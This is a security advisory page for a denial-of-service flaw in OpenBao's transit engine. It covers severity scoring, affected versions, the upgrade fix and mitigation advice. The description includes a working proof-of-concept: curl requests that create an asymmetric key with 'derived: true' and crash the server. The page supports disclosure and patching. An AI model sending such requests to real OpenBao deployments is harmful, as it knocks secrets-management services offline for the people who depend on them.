GHSA-8w8f-r2xv-4q4j BIT-openbao-2026-55776 CVE-2026-55776 GO-2026-5267
OpenBao: Transit secrets engine crashes on key creation with `derived: true` for asymmetric key types
- Severity
- 6.5 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.61%
- Chance of exploitation in the next 30 days. Higher than 49.32% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-617 Reachable Assertion
- Fix
0.0.0-20260617104123-db57c62602b2- Upgrade github.com/openbao/openbao to this version or later
Description
On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to transit/keys/* can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric type (rsa-*, ecdsa-*, ed25519)
with derived: true. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server.
Mount the transit engine:
`curl -sS -X POST -H "X-Vault-Token: root" \
-d '{"type":"transit"}' \
http://127.0.0.1:8200/v1/sys/mounts/transit`
Trigger the crash:
`curl -sS -w '\nHTTP %{http_code}\n' -X POST \
-H "X-Vault-Token: root" \
-H "Content-Type: application/json" \
-d '{"type":"rsa-2048","derived":true,"exportable":true,"deletion_allowed":false}' \
http://127.0.0.1:8200/v1/transit/keys/some-key-name`
You can try with both JSON or HCL It will crash the entire cluster.
Observed: HTTP 000 curl: (52) Empty reply from server
$ docker ps -a --filter name=openbao
STATUS: Exited (2)
Root Cause (Hypothesis)
Key-derivation paths in the transit engine appear to assume a symmetric key shape (a derivable key context). When derived: true is supplied alongside an asymmetric type, the creation path likely panics on a missing derived-key field or
invalid type assertion rather than returning a structured validation error. Maintainers should confirm against the transit policy.go / key-creation path.
Suggested fix:
Validate the (type, derived) combination at the top of the create-key handler. Reject with a 400 if derived: true is set on any non-symmetric type (i.e. anything other than aes128-gcm96, aes256-gcm96, chacha20-poly1305,
xchacha20-poly1305). Do this before any code path that may panic on missing derived-key state.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/openbao/openbao | >= 0.1.0, <= 2.5.4 |
No fix yet |
| github.com/openbao/openbao | < 0.0.0-20260617104123-db57c62602b2 |
0.0.0-20260617104123-db57c62602b2 |
| github.com/openbao/openbao | < 0.0.0-20260617104123-db57c62602b2>= 0.1.0 |
0.0.0-20260617104123-db57c62602b2 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/openbao/openbao Go → 0.0.0-20260617104123-db57c62602b2
- go
go get github.com/openbao/openbao@v0.0.0-20260617104123-db57c62602b2 && go mod tidy
Severity breakdown
CVSS 3.1 6.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-617: Reachable Assertion
The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary.
How to prevent it
- Implementation: Make sensitive open/close operation non reachable by directly user-controlled data (e.g. open/close resources)
- Implementation: Perform input validation on user data.
References
Packages
Other links
- github.com/openbao/openbao/security/advisories/GHSA-8w8f-r2xv-4q4j
- github.com/openbao/openbao/pull/3309
- github.com/openbao/openbao/commit/db57c62602b25da12951f3f0edb888e7c4da61e5
- github.com/openbao/openbao/releases/tag/v2.5.5
- github.com/openbao/openbao/commit/bb17827f3e33779a10166f7d0e61b191c0facef9
- github.com/openbao/openbao/pull/3312
- github.com/openbao/openbao/releases/tag/v2.6.0
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-xp3c-3jw3-4vcr OpenBao Skips Stricter Deny Policy for LIST operations | Medium | Also affects github.com/openbao/openbao |
| GHSA-34fc-gh42-pj53 OpenBao's Recovery Mode Vulnerable To Token Leakage via Timing Attack | Critical | Also affects github.com/openbao/openbao |
| GHSA-444v-8vxr-p36h OpenBao Agent Writes Secrets to Stdout | Low | Also affects github.com/openbao/openbao |
| GHSA-59w7-v8rr-pr4p OpenBao's Templated Policies Allow Privilege Escalation via Wildcard Characters | High | Also affects github.com/openbao/openbao |
| GHSA-mwr2-wmgp-crj6 OpenBao's System Backend allows Unauthorized Management of the containing Namespace | Low | Also affects github.com/openbao/openbao |
| GHSA-c36x-h252-g9x2 OpenBao: Cross-namespace lease revocation/renewal via canonical sys/leases/{revoke,renew} — incomplete fix of CVE-2026-45808 | Low | Also affects github.com/openbao/openbao |
| GHSA-6mwx-4547-5vc9 OpenBao: LDAPi ldaputil (wrong escape func) | Medium | Also affects github.com/openbao/openbao |
| GHSA-7j6w-vvw2-5f9c OpenBao's Kerberos Auth Method Accumulates Unaccessible Tokens | Medium | Also affects github.com/openbao/openbao |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor